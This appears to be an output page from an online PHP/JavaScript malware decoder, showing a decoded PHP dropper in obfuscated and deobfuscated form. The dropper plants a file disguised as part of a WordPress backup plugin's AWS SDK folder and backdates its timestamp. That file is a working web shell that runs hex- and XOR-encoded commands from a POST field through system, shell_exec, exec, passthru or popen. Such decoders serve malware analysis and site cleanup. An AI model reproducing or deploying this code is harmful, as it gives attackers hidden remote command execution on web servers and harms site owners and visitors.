Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$p = "/home2/mckaygui/public_html/wp-content/plugins/backwpup/vendor/aws/aws-sdk-php/src/Aws/CloudSearchDomain/punbb115.inc.php"; $c = raw"$data_storage4 = "\x70\x61\x73\x73thru";
$data_storage6 = "str\x65\x61\x6D_ge\x74\x5Fco\x6E\x74\x65n\x74\x73";
$data_storage2 = "s\x68ell_\x65\x78\x65c";
$data_storage7 = "p\x63lo\x73\x65";
$data_storage3 = "exec";
$data_storage1 = "\x73\x79s\x74em";
$data_storage5 = "popen";
$event_dispatcher = "\x68\x65x2\x62in";
if (isset($_POST["el\x65m"])) {
            function mutex_lock     (      $fac     ,       $entity    )   {   $entry     =      ''     ;    $l=0; while($l<strlen($fac)){$entry.=chr(ord($fac[$l])^$entity);$l++;} return     $entry;   }
            $elem = $event_dispatcher($_POST["el\x65m"]);
            $elem = mutex_lock($elem, 24);
            if (function_exists($data_storage1)) {
                $data_storage1($elem);
            } elseif (function_exists($data_storage2)) {
                print $data_storage2($elem);
            } elseif (function_exists($data_storage3)) {
                $data_storage3($elem, $reference_fac);
                print join("\n", $reference_fac);
            } elseif (function_exists($data_storage4)) {
                $data_storage4($elem);
            } elseif (function_exists($data_storage5) && function_exists($data_storage6) && function_exists($data_storage7)) {
                $entity_entry = $data_storage5($elem, 'r');
                if ($entity_entry) {
                    $holder_hld = $data_storage6($entity_entry);
                    $data_storage7($entity_entry);
                    print $holder_hld;
                }
            }
            exit;
        }"; if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1558280886); } die('!ended!');

$p = "/home2/mckaygui/public_html/wp-content/plugins/backwpup/vendor/aws/aws-sdk-php/src/Aws/CloudSearchDomain/punbb115.inc.php"; $c = raw"$data_storage4 = "passthru";
$data_storage6 = "stream_get_contents";
$data_storage2 = "shell_exec";
$data_storage7 = "pclose";
$data_storage3 = "exec";
$data_storage1 = "system";
$data_storage5 = "popen";
$event_dispatcher = "hex2bin";
if (isset($_POST["elem"])) {
            function mutex_lock     (      $fac     ,       $entity    )   {   $entry     =      ''     ;    $l=0; while($l<strlen($fac)){$entry.=chr(ord($fac[$l])^$entity);$l++;} return     $entry;   }
            $elem = $event_dispatcher($_POST["elem"]);
            $elem = mutex_lock($elem, 24);
            if (function_exists($data_storage1)) {
                $data_storage1($elem);
            } elseif (function_exists($data_storage2)) {
                print $data_storage2($elem);
            } elseif (function_exists($data_storage3)) {
                $data_storage3($elem, $reference_fac);
                print join("\n", $reference_fac);
            } elseif (function_exists($data_storage4)) {
                $data_storage4($elem);
            } elseif (function_exists($data_storage5) && function_exists($data_storage6) && function_exists($data_storage7)) {
                $entity_entry = $data_storage5($elem, 'r');
                if ($entity_entry) {
                    $holder_hld = $data_storage6($entity_entry);
                    $data_storage7($entity_entry);
                    print $holder_hld;
                }
            }
            exit;
        }"; if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1558280886); } die('!ended!');



© 2023 Quttera Ltd. All rights reserved.